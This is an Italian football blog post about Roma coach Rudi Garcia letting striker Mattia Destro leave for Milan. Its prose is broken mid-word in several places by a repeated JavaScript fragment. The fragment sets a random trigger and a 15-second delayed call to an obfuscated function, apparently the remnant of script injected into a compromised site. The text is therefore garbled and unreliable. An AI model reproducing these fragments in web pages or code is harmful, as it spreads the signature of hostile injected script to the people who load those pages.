The Locker Room

UN’IDEA.

1 febbraio 2015 Italia, Mercato, Speak About

Non bisogna lasciarsi ingannare dalle apparenze; un uomo in giacca e cravatta con una valigetta a tracolla che suona alla vostra porta non è necessariamente un testimone di Geova. O Equitalia. Potrebbe essere direttamente l’ufficiale giudiziario. O Galliani. E se, pensandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando al Milan che fu, è quasi improponibile concepire il dirigentissimo Adriano Galliani, a spasso per Roma che citofona a Destro come la presidentessa sedicenne del suo Fan Club, anche vedere il calcio moderno slegato dalla figura classica del centravanti non risulterà poi cosa così incredibile….

Fin dallo scorso Settembre è stato chiaro come il giovane l’ex attaccante di Siena e Genoa, non rientrasse propriamente negli schemi offensivi dell’allenatore francese, che all’inserimento di un attaccante centrale, preferisce di gran lunga un tridente formato da Iturbe, Gervinho e Totti.

Una costante questo assetto tattico della Roma nei big match come una costante era però anche un fatto assai atipico: i goal di Destro. Negli sprazzi di partita che gli erano concessi e ancor di più nelle rare prove da titolare, Destro si rende protagonista di ottime prestazioni e goal anche spettacolari (come quello messo a segno da 35 metri contro l’Hellas Verona). Ma soprattutto, Mattia Destro rappresenta l’unica variante offensiva della Roma che dopo la prima parte di stagione ha cominciato a risultare un po’ prevedibile soprattutto dopo la convocazione di Gervinho in Coppa d’Africa. Ljaijc incarna senz’altro un prototipo di giocatore tecnicamente delizioso, rapido sul breve e buon finalizzatore, ma nelle dinamiche tattiche giallorosse, l’ivoriano è un’altra cosa. Destro ha fisico, progressione, un senso del goal raro tra i moderni attaccanti d’aria di rigore italiani. Ma Garcia non fa mistero di preferirgli altre tipologie di giocatore, comprende a parole la sua necessità di trovare un maggior minutaggio e una continuità, ma spesso e volentieri lo relega alla panchina e all’idea di doversene privare, non si scompone più di tanto.

Indirettamente Garcia ha fatto una scelta ancor prima di Sabatini, Galliani e dello stesso Destro. Ha deciso che nella sua ottica la Roma difficilmente avrebbe sposato l’idea del bomber, tagliato fuori da un gioco che si sviluppa maggiormente sulle fasce per sfruttare gli inserimenti dei centrocampisti, i colpi di Totti e le percussioni di Gervinho e Iturbe. Prima che Galliani andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andasse per Roma a suonare campanelli, Garcia ha ritenuto Destro una sorta di corpo estraneo ai meccanismi di un gruppo che senz’altro ha dimostrato un’idea ben chiara di gioco. Fondamentalmente il problema dei giallorossi è l’intensità; un undici che ben coniuga fisicità e tecnica, un organico completo anche in panchina, ma che riesce ad esprimersi ai massimi livelli solo quandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando assistito da una massima condizione atletica. Alle volte quandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando si attraversano periodi di appannamento come quello attuale della Roma, un attaccante con le caratteristiche di Destro può effettivamente risultare colui che riesce a toglierti le castagne dal fuoco; per ora i giallorossi sono stati salvati dal genio di Totti e qualche colpo dei singoli, ma Garcia non sembra esserne preoccupato. Niente si è opposto al passaggio del giocatore in maglia rossonera, neppure i metodi di mercato alternativi di Adriano Galliani o le condizioni economiche favorevolissime che il Milan ha da offrire. Che la decisione risulti giusta o sbagliata, Rudy Garcia si è assunto una responsabilità, forte di un lavoro sul quale dimostra giorno dopo giorno di credere.

Anche il Milan ha un’idea di gioco su cui credere. Quella degli attaccanti. L’importante è che siano tanti. Centravanti, esterni, mezzepunte, fantasisti, centroboe… l’importante è che vadano a rimpinguare un reparto dove il Milan non ha mai avuto grossi problemi dal punto di vista numerico, ma qualitativo, e dove solo Menez continua a fare il bello e il cattivo tempo.